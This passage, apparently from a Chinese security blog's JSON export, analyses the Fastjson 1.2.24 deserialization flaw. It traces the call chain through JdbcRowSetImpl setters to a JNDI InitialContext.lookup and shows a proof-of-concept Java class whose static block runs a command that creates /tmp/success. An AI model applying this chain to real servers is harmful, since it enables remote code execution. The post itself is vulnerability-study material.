class=\"wp-block-paragraph\">\u6709\u70b9\u50cf\u524d\u9762\u53cd\u5c04\u4e2d\u6211\u4eec\u5c31\u8bb2\u8fc7\u53cd\u5c04\u8c03\u7528\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\u76f4\u63a5class.newInstance\u5c31\u53ef\u4ee5\u4e86\u5f53\u9047\u5230\u6ca1\u6709\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\u9700\u8981\u8c03\u7528\u6709\u53c2\u6784\u9020\u7684\u65f6\u5019\u5c31\u9700\u8981\u53bbgetConstructor\u8c03\u7528\u5bf9\u5e94\u7684\u6709\u53c2\u6784\u9020\u65b9\u6cd5\u540enewInstance\uff0c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u968f\u540e\u662f\u5b57\u6bb5\u5904\u7406\u903b\u8f91\u6709\u5feb\u901f\u5339\u914d\u548c\u901a\u7528\u5c5e\u6027\u5339\u914d\u4e24\u79cd\uff0c\u6700\u540e\u4e24\u79cd\u5b57\u6bb5\u5904\u7406\u903b\u8f91\u6700\u7ec8\u90fd\u53ef\u80fd\u5230\u8fbe<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fieldDeser.setValue(object, fieldValue);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">JavaBeanDeserializer.deserialze() &#8211;&gt; FieldDeserializer.setValue(Object object, Object value)<strong>\u8fd9\u91cc\u624d\u662f\u6700\u7ec8setter\u65b9\u6cd5\u8c03\u7528\u7684\u4f4d\u7f6e<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FieldDeserializer:96\n                    method.invoke(object, value);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6839\u636e\u524d\u9762\u7684JdbcRowSetImpl\u7684\u5206\u6790\uff0cJSON\u53ea\u9700\u8981\u8bbe\u7f6edataSourceName\u548cautoCommit\u4e24\u4e2a\u65b9\u6cd5\uff0cFastjson 1.2.24\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5c31\u4f1a\u8c03\u7528\u5176\u5bf9\u5e94\u7684setter\u65b9\u6cd5<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b8c\u6574\u8c03\u7528\u94fe<\/strong><\/p>\n\n\n\n<div class=\"wp-block-merpress-mermaidjs diagram-source-mermaid\"><pre class=\"mermaid\">graph TD\n    A[\"JSON.parse\"] --> B[\"DefaultJSONParser\"]\n    B --> C[\"parseObject\"]\n    C --> D[\"\u8bc6\u522b @type\"]\n    D --> E[\"TypeUtils.loadClass\"]\n    E --> F[\"ParserConfig.getDeserializer\"]\n\n    F --> G{\"\u53cd\u5e8f\u5217\u5316\u5668\u662f\u5426\u5b58\u5728\"}\n    G -->|\u5426| H[\"JavaBeanDeserializer \u6784\u9020\"]\n    H --> I[\"JavaBeanInfo.build\"]\n    I --> J[\"\u626b\u63cf\u6784\u9020\u65b9\u6cd5\u548c Setter\"]\n    J --> K[\"createFieldDeserializer\"]\n    K --> L[\"\u4fdd\u5b58\u5b57\u6bb5\u53cd\u5e8f\u5217\u5316\u5668\"]\n    L --> M[\"\u8fd4\u56de ObjectDeserializer\"]\n    G -->|\u662f| M\n\n    M --> N[\"JavaBeanDeserializer.deserialze\"]\n    N --> O[\"createInstance\"]\n    O --> P[\"Constructor.newInstance\"]\n    P --> Q[\"\u521b\u5efa JdbcRowSetImpl \u5bf9\u8c61\"]\n\n    Q --> R{\"\u5b57\u6bb5\u89e3\u6790\"}\n    R -->|\u5feb\u901f\u89e3\u6790| S[\"scanFieldString \/ scanFieldBoolean\"]\n    R -->|\u901a\u7528\u89e3\u6790| T[\"JavaBeanDeserializer.parseField\"]\n    T --> U[\"DefaultFieldDeserializer.parseField\"]\n\n    S --> V[\"FieldDeserializer.setValue\"]\n    U --> V\n    V --> W[\"Method.invoke\"]\n\n    W --> X[\"setDataSourceName\"]\n    X --> Y[\"\u4fdd\u5b58 dataSource\"]\n    Y --> Z[\"\u7ee7\u7eed\u7ed1\u5b9a autoCommit\"]\n    Z --> AA[\"setAutoCommit\"]\n\n    AA --> AB{\"conn \u662f\u5426\u4e3a null\"}\n    AB -->|\u662f| AC[\"connect\"]\n    AC --> AD{\"dataSourceName \u662f\u5426\u4e3a\u7a7a\"}\n    AD -->|\u5426| AE[\"new InitialContext\"]\n    AE --> AF[\"InitialContext.lookup\"]<\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u590d\u73b0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u51c6\u5907\u597d\u7684\u6076\u610fJava\u6587\u4ef6\u7f16\u8bd1\u4e3a.class<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.lang.Runtime;\nimport java.lang.Process;\n\npublic class TouchFile {\n    static {\n        try {\n            Runtime rt = Runtime.getRuntime();\n            String&#91;] commands = {\"touch\", \"\/tmp\/success\"};\n            Process pc = rt.exec(commands);\n            pc.waitFor();\n        } catch (Exception e) {\n            \/\/ do nothing\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-1-1024x338.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"338\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-1-1024x338.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2597\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-2-1024x205.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"205\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-2-1024x205.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2598\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-1024x611.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"611\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-1024x611.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2595\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-3-1024x172.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"172\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/10\/image-3-1024x172.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2599\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>JSON \u5bf9\u6211\u4eec\u6765\u8bf4\u5e76\u4e0d\u964c\u751f\u3002\u4f5c\u4e3a\u4e00\u79cd\u8f7b\u91cf\u7ea7\u7684\u6570\u636e\u4ea4\u6362\u683c\u5f0f\uff0c\u5b83\u5177\u6709\u7ed3\u6784\u6e05\u6670\u3001\u6613\u4e8e\u8bfb\u5199\u4ee5\u53ca\u8de8\u8bed\u8a00\u7b49\u7279\u70b9\uff0c\u56e0\u6b64\u88ab\u5e7f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2316,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19,1],"tags":[13],"class_list":["post-2313","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-web-security","category-lern","tag-web-security"],"_links":{"self":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/2313","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/comments?post=2313"}],"version-history":[{"count":10,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/2313\/revisions"}],"predecessor-version":[{"id":2610,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/2313\/revisions\/2610"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media\/2316"}],"wp:attachment":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media?parent=2313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/categories?post=2313"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/tags?post=2313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}